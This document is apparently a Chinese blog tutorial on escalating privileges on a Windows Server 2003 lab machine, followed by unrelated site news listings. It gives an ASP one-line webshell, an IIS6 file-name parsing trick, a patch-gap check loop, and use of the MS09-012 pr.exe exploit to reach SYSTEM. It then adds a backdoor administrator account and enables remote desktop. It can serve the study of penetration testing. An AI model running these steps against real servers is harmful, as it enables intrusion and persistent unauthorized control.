Windows 提权方法与步骤
以windows server 2003为例一、前提提权的前提条件是拿到服务器的webshell可通过sql注⼊、⽂件上传、命令执⾏、反序列化等⽅式把 ⼀句话⽊⻢写⼊到⽬标⽹站中。以iis6.0的中间件解析漏洞为例test.asp;.jpg最普通的⼀句话⽊⻢(asp的⽊⻢)%eval request(test)%拿到webshell之后使⽤菜⼑蚁剑冰蝎或者哥斯拉连接上服务器。使用菜刀连接http://192.168.194.111/test.asp;.jpg,连接密码是test连接上之后可向服务器目录上传文件可以使用终端命令进行连接。但是⿏标右键打开虚拟终端尝试输⼊命令whoami,dir,此时运⾏命令显⽰拒绝访问没有权限。原因菜⼑调⽤的是⽬标服务器系统的cmd.exe此cmd.exe程序没有iuser权限(从⽹站进去服务器时当前⾝份是来宾⽤⼾并没有权限去调⽤系统的CMD.exe)那么这时候怎么办思路⽬前我们是有拿到webshell的那么说明该站点根⽬录是具有可读写的权限此时我们可以通 过菜⼑上传⼀个脚本去检测⽹站⽬录的权限使⽤脚本666.asp检测⽬录权限1 先找到⽹站下⾯具有读写权限的⽬录。2上传成功之后通过浏览器访问此脚本3直接在检测框中输⼊⽬标服务器的根⽬录⽐如C盘咱们随便选择⼀个可读写的目录1根据对⽅的操作系统版本找到对应的操作系统版本中的cmd.exe的程序。注意上传的cmd.exe程序的版本和型号如果对⽅是Windows2003操作系统那么我们可以在本地虚拟机搭建Windows2003的机器下载⾥⾯的cmd.exe程序通过菜⼑上传到对⽅服务器站点即可c\wmpub\2使⽤setp命令以绝对路径的⽅式去调⽤我们上传的cmd.exe程序。setp c:\wmpub\cmd.exe原理我们⾃⼰上传的cmd.exe程序是通过⽹站上传的他具备iuser来宾⽤⼾权限所以我们可以直接通过它以来宾⽤⼾的⾝份来调⽤操作系统的命令。3能够执⾏命令之后尝试添加⽤⼾。net user 1234 1234 /add显⽰拒绝访问说明⽬前我们的权限还不是管理员所以还需要进⼀步提升权限4⾸先查看对⽅服务器打了哪些补丁systeminfo使⽤systeminfo执⾏检测未打补丁的命令来进⾏补丁检测systeminfomicropoor.txt(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141KB3141780 ) do type micropoor.txt|find /i %i|| echo %i you can fuck)del /f /q /amicropoor.txt将会得到运行结果KB977165 you can fuckKB2160329 you can fuckKB2503665 you can fuckKB2592799 you can fuckKB2707511 you can fuckKB2829361 you can fuckKB2850851 you can fuckKB3000061 you can fuckKB3045171 you can fuckKB3077657 you can fuckKB3079904 you can fuckKB3134228 you can fuckKB3143141 you can fuckKB3141780 you can fuck5根据这些补丁编号去公开的⽹站搜索EXP百度CSDNgithub等复现提权已对外公开的EXP⽹址https://blog.csdn.net/weixin_39580041/article/details/117720324https://github.com/SecWiki/windows-kernel-exploitshttps://github.com/WindowsExploits/Exploits--------------------------------------------------------------------此次实验⽬标操作系统是2003 server所以选择最经典的MS09-012巴西烤⾁来进⾏提权漏洞利⽤巴西烤⾁也称之为Microsoft Windows RPCSS服务隔离本地权限提升漏洞。漏洞原理:RPCSS服务没有正确地隔离NetworkService或LocalService帐号下运⾏的进程本地攻击者可以利⽤ 令牌劫持的⽅式获得权限提升。成功利⽤此漏洞的攻击者可以完全控制受影响的系统攻击者可随后 安装程序;查看、更改或删除数据;或者创建拥有完全⽤⼾权限的新帐⼾。具体利⽤步骤1通过菜⼑上传pr.exe2菜⼑命令⾏先切换到上传程序所在的⽬录然后调⽤pr.exe后⾯接双引号注意双引号为英⽂状 态下的双引号中加上需要执⾏的命令例如pr.exe whoami。此时可以看到我们的⾝份是systemSYSTEM的中⽂意思是系统在Windows中拥有⽐管理员更⼤的 权限说明我们已经提权成功了3验证是否为管理员权限我们只需要添加⼀个账号即可。因为添加账号是需要管理员权限才能进⾏的。pr.exe net user 1234 1234 /add4将添加的1234账⼾加⼊到管理员组。pr.exe net localgroup administrators 1234 /add5开启⽬标机器3389远程连接可直接使⽤我们创建的1234⽤⼾去远程连接。此时1234⽤⼾已经是 管理员权限也就意味着我们能在⽬标服务器上⾯做很多事情了开启3389⽅法直接菜⼑上传脚本3389.exe然后通过pr.exe去调⽤即可⼀键开启3389pr.exe命令去调⽤不要忘记加上”此时使⽤创建的1234⽤⼾在我们⾃⼰的主机上利⽤远程连接输⼊1234账号和密码即可远程连接 上⽬标服务器了⽽且因为之前我们将1234⽤⼾加⼊了管理员组拥有管理员权限所以可以利⽤远程连接在⽬标服务器上做很多事情内⽹渗透中关于远程桌⾯的技巧https://mp.weixin.qq.com/s/4tet9Ux0_ZDtP9JFIFdzgw本地主机打开远程桌⾯连接输⼊⽬标服务器ip地址点击连接。

相关新闻

Allreduce算法:大模型分布式训练的核心通信原理与工程实践

Allreduce算法:大模型分布式训练的核心通信原理与工程实践

1. 项目概述:为什么Allreduce是大模型训练的“生命线”?如果你最近关注过大模型相关的新闻或者技术讨论,大概率会看到“千亿参数”、“万亿token训练”这样的字眼。这些数字背后,是海量的计算和通信开销。一个直观的问题是&#x…

2026/8/23 8:56:43 阅读更多 →
生产者消费者模型实战:缓冲区设计、压测与跨系统协同

生产者消费者模型实战:缓冲区设计、压测与跨系统协同

1. 这不是教科书里的抽象模型,而是你每天都在调试的真实系统“生产者与消费者问题”这八个字,听起来像计算机系期末考卷上一道必答题——可如果你正在写一个实时日志采集服务,发现下游Kafka消费者吞吐突然掉到每秒200条,而上游Flu…

2026/8/23 8:56:43 阅读更多 →
深度解密 Redis 分布式锁:从单机原子语义到集群架构博弈

深度解密 Redis 分布式锁:从单机原子语义到集群架构博弈

文章目录🚀 深度解密 Redis 分布式锁:从单机原理、生活化通俗比喻到工业级落地📑 文章摘要🌳 核心基础:为什么 Redis 能当“锁”?🔑 单线程的“VIP 柜台”模型❌ 早期笨办法与死锁血案✔️ 现代…

2026/8/23 8:56:43 阅读更多 →

最新新闻

打通转化数据闭环:google-ads-python离线转化上传与增强转化完整指南

打通转化数据闭环:google-ads-python离线转化上传与增强转化完整指南

打通转化数据闭环:google-ads-python离线转化上传与增强转化完整指南 【免费下载链接】google-ads-python Google Ads API Client Library for Python 项目地址: https://gitcode.com/gh_mirrors/go/google-ads-python 📌 本文面向新手讲解如何使…

2026/8/23 11:57:46 阅读更多 →
CP-SAT Primer编码模式指南:5个设计模式让优化代码可维护、可测试、可扩展

CP-SAT Primer编码模式指南:5个设计模式让优化代码可维护、可测试、可扩展

CP-SAT Primer编码模式指南:5个设计模式让优化代码可维护、可测试、可扩展 【免费下载链接】cpsat-primer The CP-SAT Primer: Using and Understanding Google OR-Tools CP-SAT Solver 项目地址: https://gitcode.com/gh_mirrors/cp/cpsat-primer CP-SAT Pr…

2026/8/23 11:57:46 阅读更多 →
FlexLabs.Upsert 排错清单:InvalidMatchColumnsException 与 UnsupportedExpressionException 全解

FlexLabs.Upsert 排错清单:InvalidMatchColumnsException 与 UnsupportedExpressionException 全解

FlexLabs.Upsert 排错清单:InvalidMatchColumnsException 与 UnsupportedExpressionException 全解 【免费下载链接】FlexLabs.Upsert FlexLabs.Upsert is a library that brings UPSERT functionality to common database providers for Entity Framework in their…

2026/8/23 11:57:46 阅读更多 →
NvidiaOverclocking电压调优教程:25mV步进微调,教你找到性能与温度的最佳平衡点

NvidiaOverclocking电压调优教程:25mV步进微调,教你找到性能与温度的最佳平衡点

NvidiaOverclocking电压调优教程:25mV步进微调,教你找到性能与温度的最佳平衡点 【免费下载链接】NvidiaOverclocking Nvidia GPU Overclocking Guide 项目地址: https://gitcode.com/gh_mirrors/nv/NvidiaOverclocking NvidiaOverclocking 是一份…

2026/8/23 11:57:46 阅读更多 →
技术面试中的幽默艺术:如何用段子展现专业深度

技术面试中的幽默艺术:如何用段子展现专业深度

1. 面试场景还原:当严肃面试官遇上搞笑候选人 最近在技术社区看到一则真实面试案例:某互联网大厂Java技术面现场,一位以严谨著称的面试官遇到了自称"代码段子手"的候选人张三。这场冰与火的碰撞产生了令人意外的化学反应&#xff0…

2026/8/23 11:57:46 阅读更多 →
从CCPC网络赛重赛看高并发在线判题系统架构与防作弊设计

从CCPC网络赛重赛看高并发在线判题系统架构与防作弊设计

1. 从“网络赛重赛”说起:一次技术竞赛的非常规复盘 2021年CCPC网络赛的重赛,对于当年参赛的选手、教练以及赛事组织方而言,都是一个绕不开的话题。它不仅仅是一次简单的比赛延期或重新举办,其背后折射出的,是大型在线…

2026/8/23 11:56:46 阅读更多 →

日新闻

[光学原理与应用-521]:对光的错误理解与纠偏

[光学原理与应用-521]:对光的错误理解与纠偏

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

2026/8/23 0:00:50 阅读更多 →
SIP通话转接原理与REFER方法实战解析

SIP通话转接原理与REFER方法实战解析

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

2026/8/23 0:00:50 阅读更多 →
Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

2026/8/23 0:00:50 阅读更多 →

周新闻

[光学原理与应用-521]:对光的错误理解与纠偏

[光学原理与应用-521]:对光的错误理解与纠偏

首先光是一种能量的载体和形态,宏观上观察到的光是由无数个微观的光量子组成的,每个光子在产生的瞬间,其在真空的空间中以确定不变的速度沿着一个初始的方向一直向前,在微观层面,每个光量子的运动轨迹是以波函数所展现…

2026/8/23 0:00:50 阅读更多 →
SIP通话转接原理与REFER方法实战解析

SIP通话转接原理与REFER方法实战解析

1. 通话转接不是“挂断再拨号”,而是SIP会话的动态重定向你有没有遇到过这样的场景:客服坐席A正在和客户通电话,突然需要把这通对话无缝转给专家坐席B,客户完全感知不到中间的断连——既没听到忙音,也没被要求重新拨号…

2026/8/23 0:00:50 阅读更多 →
Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

Kolla-ansible单节点OpenStack部署实战:从环境准备到排坑指南

1. 为什么选择Kolla-ansible来部署单节点OpenStack?如果你正在寻找一种能把OpenStack从“概念”快速变成“可用的实验环境”的方法,那么Kolla-ansible几乎是当前最主流、最省心的选择。我见过太多人卡在手动编译依赖、配置服务、处理版本冲突的泥潭里&am…

2026/8/23 0:00:50 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/22 18:08:39 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/22 7:31:03 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/22 3:22:48 阅读更多 →